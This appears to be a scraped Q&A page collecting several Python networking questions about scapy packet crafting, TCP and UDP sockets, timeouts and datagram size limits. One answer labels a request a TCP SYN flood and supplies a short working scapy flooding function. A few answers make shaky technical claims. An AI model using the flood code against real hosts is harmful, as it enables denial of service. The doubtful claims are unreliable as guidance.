I am sending this custom packet over a TCP socket
pkt = IP(len=16384, src='192.168.240.243', dst=ip,
id=RandShort(), ttl=64)/TCP(sport=5000,
dport=5000, flags="S", window=200,
options=[('MSS', 1460), ('WScale', 2)])/CustomLayer(type=1, update=2)/"SENT"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, 5000))
except socket.error:
print 'User not connected'
spkt = str(pkt)
s.send(spkt)
The packet is correctly sent and received, but I can't send more than one. If I try for example to include this in a while(i<10), only one packet is received, the others are marked as [TCP Retransmission] looking in Wireshark.
How can I send the packet more than once within the same socket?
Your packets have the same ID, so they are the same packets, and therefore discarded as duplicates.
Related
I have this simple code:
import socket
ip = "myip"
port = myport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")
If I run it, it never reach the print so it never complete the connect, and that's because the IP I want to connect to has not that port open.
In fact I don't want to complete the connection, but just need to send the SYN request.
Also, I would need to send packets with a LENGHT. If I test with hping3 and sniff the syn packets sent, I see that there is a payload of 100 lenght. How can I "add" this payload to the packet?
How can I do that?
From what I can gather, what you're after is a TCP SYN flood and is probably best achieved using the Scapy Library. This could be achieved with code similar to the below:
from scapy.all import *
def flood(src_ip, dst_ip, dst_port, amount):
ip = IP(src=src_ip, dst=dst_ip)
for i in range(0, amount):
src_port = random.randint(20, 65000)
transport = TCP(sport=src_port, dport=dst_port, flags="S")
send(ip/transport)
if __name__ == '__main__':
flood('x.x.x.x', 'x.x.x.x', '443', '1000')
As mentioned above, its important to note that you CANNOT send data within a SYN packet.
If you do not care to wait for a response you could, for example, use socket.settimeout.
Here is an example setting a 5 seconds timeout:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
except socket.timeout:
pass
An other solution, albeit more difficult, would be to send the packet manually using raw sockets.
You can verify that your packets are indeed being sent by using a tool such as tcpdump:
$ tcpdump 'tcp port 5005'
Im trying to send a messages from the server to the client
I tried deleting the .close and puting a while loop on print but it still doesn't won't to work
Client
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.connect((host, port))
while True:
print (s.recv(1024))
Server
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.bind((host, port))
s.listen(5)
while True:
c, addr = s.accept()
print ('Got connection from', addr)
x = str(input("ënter a message"))
data = x.encode()
c.send(data)
I expect the output to be 2 messages from the server but it is only sending 1 and then closing the connection
Switch your accept and while True: lines. Once you accept a connection, keep sending on the same connection.
Note that TCP is a streaming protocol. There is no concept of "messages", but just a bunch of bytes. If you send fast enough, such as:
c.send(b'abc')
c.send(b'def')
then recv(1024) could receive b'abcdef'. For more complex communication, you'll have to define a protocol and buffer recv until you are sure you have a complete message. A simple way in this case is read until you find a newline, or send a byte (or more) indicating the size of the total message before sending the actual message.
I have a UDP communication between a server and client on localhost
according to this code:
https://pymotw.com/2/socket/udp.html
Echo Server:
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('127.0.0.1', 12321)
sock.bind(server_address)
while True:
data, address = sock.recvfrom(4096)
if data:
sent = sock.sendto(data, address)
echo Client
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('127.0.0.1', 12321)
message = 'This is the message. It will be repeated.'
try:
for i in range 4:
sent = sock.sendto(message, server_address)
data, server = sock.recvfrom(4096)
finally:
sock.close()
now let's say I got some MITM attack, and a specific packet doesn't arrive at the server, and the client is still waiting for a response from the server,
I get a deadlock.
how can I overcome this? is there some timeout parameter for UDP socket?
Yes, there is a timeout for UDP sockets. See socket.settimeout() in https://docs.python.org/2/library/socket.html and read up on non-blocking sockets in general.
Note that UDP packets can be dropped, duplicated, and/or re-ordered, even if there is no man-in-the-middle attacker. This is because UDP is (by design) an unreliable datagram protocol.
If you need a reliable protocol use TCP (or QUIC).
If you need assurance that no man-in-the-middle can modify or (optionally) observe the data, use TLS (or QUIC).
i am trying to send a message through UDP (a list of dictionaries that i used json.dumps on it) and i get this error:
OSError: [WinError 10040] A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself
This is the client side code:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = (SRVR_NAME,DST_PORT)
packet_info = json.dumps(packet_info)
packet_info = packet_info.encode()
sock.sendto(packet_info,server_address)
sock.close()
and this is the server side code:
listening_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = (IP, PORT)
listening_sock.bind(server_address)
client_msg, client_addr = listening_sock.recvfrom(MSG_SIZE)
d = json.loads(client_msg)
d = d.decode()
print(d)
My psychic powers suggest you are trying to put more than 64KB of data into a single UDP packet.
Maximum size of an IP packet including all headers is 65535 bytes. IP and UDP headers combine for at least 28 bytes. So the max size of the data portion of a UDP datagram is 65535-28 == 65507.
Check the size of your encoded packet_info before sending. If it's too big to fit, then split into multiple messages and handle accordingly.
Can anyone tell me the most basic approach to generate UDP, TCP, and IP Packets with Python?
As suggested by jokeysmurf, you can craft packets with scapy
If you you want to send/receive regular, i.e. non-custom, packets then you should use socket or socketserver:
http://docs.python.org/library/socket.html#module-socket
http://docs.python.org/library/socketserver.html#module-SocketServer
For example, to send a TCP HTTP GET request to Google's port 80 use:
import socket
HOST = 'google.com' # The remote host
PORT = 80 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('GET / HTTP/1.1\r\nHost: google.com\r\n\r\n')
data = s.recv(1024)
s.close()
print 'Received', repr(data)
To send UDP instead of TCP change SOCK_STREAM to SOCK_DGRAM.
You can do interactive packet manipulation with scapy.
This article is going to get you started on gluing together an IP packet.
Construction of a tcp packet is as easy as:
packet = IP(src="10.0.0.10")